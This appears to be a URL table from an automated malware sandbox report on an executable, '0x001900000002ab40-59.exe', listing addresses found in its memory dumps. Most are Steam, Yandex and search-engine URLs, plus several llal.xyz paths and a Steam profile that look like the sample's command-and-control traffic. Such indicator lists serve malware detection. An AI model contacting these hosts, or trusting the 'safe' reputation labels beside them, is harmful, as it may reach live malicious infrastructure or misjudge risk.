https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199619938930	76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://www.google.com	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://browser.yandex.	0x001900000002ab40-59.exe	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700	0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/hg	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A38000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=ttNb	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	0%, Virustotal, Browse	unknown
https://llal.xyz/U6	0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://download.cdn.yandex.net/browser/installer/	0x001900000002ab40-59.exe	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199619938930dll	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://s.ytimg.com;	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696497267574.12791&key=1696497267400700002.1&cta	0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steam.tv/	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://llal.xyz/Up/b6	0x001900000002ab40-59.exe, 00000001.00000003.1691573716.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1723012989.00000000082A0000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722622099.00000000082A7000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1725668402.00000000082A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://llal.xyz/Up/b/	0x001900000002ab40-59.exe, 00000001.00000003.1691573716.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1723012989.00000000082A0000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722622099.00000000082A7000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1725668402.00000000082A1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://store.steampowered.com/privacy_agreement/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/points/shop/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://llal.xyz/u	0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://ocsp.rootca1.amazontrust.com0:	0x001900000002ab40-59.exe, 00000001.00000003.1711911198.0000000008329000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://llal.xyz/s	0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://sketchfab.com	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lv.queniujq.cn	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/profiles/76561199619938930e	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg	76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://store.steampowered.com/privacy_agreement/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://llal.xyz/	0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1670243798.0000000008290000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1658364365.0000000008290000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse	unknown
https://community.akamai.steamstatic.com/public/shared/images/header/logo_steam.svg?t=96201	0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/shared/javascript/shared_global.js?v=REEGJU1hwkYl&am	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://www.google.com/recaptcha/	0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://checkout.steampowered.com/	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMB	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://crash-reports.browser.yandex.net/submit~S	0x001900000002ab40-59.exe, 00000001.00000000.1519545162.0000000000933000.00000002.00000001.01000000.00000003.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1723224963.0000000000933000.00000002.00000001.01000000.00000003.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://storage.ape.yandex.net/get/browser/install?ui=&result=cancelled&time=&download_time=&install	0x001900000002ab40-59.exe	false		unknown
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_logo.png	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://llal.xyz	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1646905616.0000000005A75000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647075148.0000000005A78000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://store.steampowered.com/;	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://download.cdn.yandex.net/browser/win7/	0x001900000002ab40-59.exe	false		unknown
https://store.steampowered.com/about/	76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/my/wishlist/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://llal.xyz/D	0x001900000002ab40-59.exe, 00000001.00000002.1725640597.000000000829E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=49iUccgO	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://community.akamai.steamstatic.com/public/c	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.0000000005A64000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1647321556.0000000005A64000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://help.steampowered.com/en/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/market/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://store.steampowered.com/news/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/	0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.marriott.com/default.mi?utm_source=admarketplace&utm_medium=cpc&utm_campaign=Marriott_Pr	0x001900000002ab40-59.exe, 00000001.00000003.1712081694.0000000008357000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712269375.000000000835A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://llal.xyz/Up/bk	0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722517315.00000000082A3000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Hpc3R3GOITg3&a	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0x001900000002ab40-59.exe, 00000001.00000003.1670010491.0000000008324000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://store.steampowered.com/subscriber_agreement/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.geonames.org	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
https://llal.xyz/Upx	0x001900000002ab40-59.exe, 00000001.00000002.1724281527.00000000059FC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://recaptcha.net/recaptcha/;	0x001900000002ab40-59.exe, 00000001.00000003.1633024645.0000000005A79000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A4D000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633506996.0000000005A5E000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false	URL Reputation: safe	unknown
https://llal.xyz//	0x001900000002ab40-59.exe, 00000001.00000002.1725640597.000000000829E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1712291354.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722484948.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722897393.0000000008297000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1722573183.0000000008297000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://api.browser.yandex.net/configs/all_zipbrandID=&partnerID=?Failed	0x001900000002ab40-59.exe	false		unknown
https://download.cdn.yandex.net/browser/installer/ybLocal	0x001900000002ab40-59.exe	false		unknown
https://llal.xyz/Up/bZ	0x001900000002ab40-59.exe, 00000001.00000003.1722436058.0000000008291000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://steamcommunity.com/discussions/	0x001900000002ab40-59.exe, 00000001.00000003.1633465280.0000000005A6E000.00000004.00000020.00020000.00000000.sdmp, 0x001900000002ab40-59.exe, 00000001.00000003.1633436838.0000000005AB3000.00000004.00000020.00020000.00000000.sdmp, 76561199619938930[1].htm.1.dr	false		unknown
